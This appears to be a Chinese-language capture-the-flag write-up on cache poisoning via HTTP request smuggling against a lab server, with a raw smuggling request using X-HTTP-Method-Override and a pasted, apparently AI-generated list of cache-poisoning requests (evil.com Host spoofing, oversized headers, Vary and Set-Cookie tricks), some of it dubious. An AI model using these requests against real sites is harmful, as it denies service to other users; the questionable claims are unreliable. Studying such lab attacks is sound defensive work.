缓存投毒+HTTP请求走私
这道题目的目的是缓存投毒,让别人访问不了。用的是X-HTTP-Method-Override的方法,也就是说看上去用的是GET请求,实际执行的是会导致405 Method Not Allowed的非法请求,导致GET请求被污染了。但是有WAF,也就是说没法直接显示地使用X-HTTP-Method-Override,这时候就想到了HTTP请求走私,在正常地请求地body中藏一个带有X-HTTP-Method-Override的请求,然后利用请求走私,让第二个请求留在服务器缓存中,在之后的请求中被执行
注意:一定要找到合理的访问路径。大家访问的是/根目录,而不是/login,你如果找错了目录的话是没法投毒的。
同时也要注意HTTP报文的格式,在burp suite把\r\n显示打开。
这道题的环境配置:GPT教我的。我需要SOCK5代理到warhead平台,但是又要burpsuite拦截,那么可以考虑将http流量代理到burp suite,然后让burp suite负责sock5代理。这好东西
POST /login HTTP/1.1
Host: 192.168.1.77:5002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Origin: http://192.168.1.77:5002
Connection: keep-alive
Referer: http://192.168.1.77:5002/login
Cookie: hacker_token=84-OX0I0gWWUy-Xd3ybkU6xbA-84
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-Hack-Mode: 1
X-Transfer-Encoding: chunked
X-Content-Length: 135
0
GET / HTTP/1.1
Host: 192.168.1.77:5002
Cookie: hacker_token=84-OX0I0gWWUy-Xd3ybkU6xbA-84
X-HTTP-Method-Override: DELETE

HTTP 缓存投毒方式总结
从你的请求来看,你的目标是 对 GET / 的返回内容进行缓存投毒,即让其他访问该 URL 的用户获取错误或恶意内容。以下是几种可能的 缓存投毒(Cache Poisoning) 方法,前提是你的目标服务器或缓存系统 存在解析不一致性 或 误信任某些 HTTP 头。
1. 伪造 X-Forwarded-Host 进行缓存投毒
原理
许多 Web 服务器会信任 X-Forwarded-Host 头,并将其用于缓存键(Cache Key)。如果服务器 将 X-Forwarded-Host 作为缓存索引的一部分,攻击者可以伪造 X-Forwarded-Host 头,使服务器错误地缓存错误页面或恶意内容。
攻击步骤
发送如下请求:
GET / HTTP/1.1
Host: 192.168.1.77:5002
X-Forwarded-Host: evil.com
- 如果服务器信任
X-Forwarded-Host,那么evil.com可能会被缓存,并返回给后续访问192.168.1.77:5002的用户。 - 如果
evil.com不存在,可能会导致404 Not Found页面被缓存,让所有用户访问/时都得到404。
检测方法
- 发送一个带有
X-Forwarded-Host的请求,看看返回是否发生变化:GET / HTTP/1.1 Host: 192.168.1.77:5002 X-Forwarded-Host: test.com - 再次访问
/,如果响应变了,说明服务器可能受到该攻击影响。
2. 触发错误页面并缓存(CPDoS - Cache Poisoned Denial of Service)
原理
如果服务器 会缓存错误页面(如 400 Bad Request、500 Internal Server Error 等),攻击者可以发送一个 格式错误 的请求,让缓存服务器存储错误页面,使所有后续用户都无法访问 /。
攻击步骤
发送 超长头部请求:
GET / HTTP/1.1
Host: 192.168.1.77:5002
X-Oversized-Header: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- 如果服务器对超长 HTTP 头部 返回
400 Bad Request,并且缓存系统错误地缓存了该错误页面,所有用户访问/时都会收到400。
或者发送 非法元字符:
GET / HTTP/1.1
Host: 192.168.1.77:5002
X-Meta-Character: \n
- 如果服务器返回
400,缓存了这个错误响应,则/变成无效页面。
检测方法
- 发送 超长头部 或 非法元字符 请求,看看返回的状态码:
GET / HTTP/1.1 Host: 192.168.1.77:5002 X-Test: \n - 如果返回
400,再访问/看看是否返回错误页面。
3. 伪造 X-HTTP-Method-Override 进行缓存污染
原理
某些服务器支持 X-HTTP-Method-Override 头部,使 GET 请求变成 POST、PUT 等方法。如果服务器错误地缓存了 404 或 405 响应,则 / 可能会被缓存为错误页面。
攻击步骤
GET / HTTP/1.1
Host: 192.168.1.77:5002
X-HTTP-Method-Override: POST
- 如果
/不支持POST,可能返回405 Method Not Allowed。 - 如果缓存服务器错误地缓存了
405页面,所有用户访问/时都会看到405。
检测方法
- 发送
X-HTTP-Method-Override头并查看响应:GET / HTTP/1.1 Host: 192.168.1.77:5002 X-HTTP-Method-Override: DELETE - 之后再直接访问
/,看看返回是否被污染。
4. 伪造 Vary 头部制造缓存混乱
原理
许多缓存系统使用 Vary 头来区分不同的缓存版本。例如:
Vary: User-Agent
意味着不同的 User-Agent 会得到不同的缓存。如果 Vary 头被滥用,可以让缓存存储无数个版本的页面,使系统崩溃。
攻击步骤
发送如下请求:
GET / HTTP/1.1
Host: 192.168.1.77:5002
Vary: *
- 可能导致缓存存储 无数个不同版本 的
/,使缓存服务器崩溃,导致 DoS 攻击。
检测方法
- 发送
Vary: *头的请求:GET / HTTP/1.1 Host: 192.168.1.77:5002 Vary: * - 再次访问
/看看返回是否有异常。
5. 伪造 Set-Cookie 进行缓存投毒
原理
某些服务器错误地将 Set-Cookie 头部存入缓存,导致所有访问者的请求都带有攻击者的 Cookie。
攻击步骤
GET / HTTP/1.1
Host: 192.168.1.77:5002
Set-Cookie: session=evil
- 如果服务器缓存了该
Set-Cookie头,所有用户访问/时都会带上session=evil,可能导致会话劫持。
检测方法
- 发送带有
Set-Cookie头的请求:GET / HTTP/1.1 Host: 192.168.1.77:5002 Set-Cookie: hacker_token=malicious_value - 让其他用户访问
/,如果他们的 Cookie 变了,说明攻击成功。
总结
| 攻击方式 | 目标 | 影响 |
|---|---|---|
| X-Forwarded-Host | 伪造 Host 头 |
让服务器返回 404 或错误页面,并缓存 |
| HTTP 头超长攻击(HHO) | 触发 400 Bad Request |
让缓存系统存储 400 页面,导致 DoS |
| HTTP 元字符攻击(HMC) | 发送特殊字符 | 让缓存服务器缓存 400 |
| X-HTTP-Method-Override | 触发 405 Method Not Allowed |
让 / 返回 405 错误页面 |
| Vary 头投毒 | 伪造 Vary: * |
让缓存系统存储无数个 / 版本,造成 DoS |
伪造 Set-Cookie |
设置全局 Cookie | 让所有用户都带有攻击者的 Cookie |

浙公网安备 33010602011771号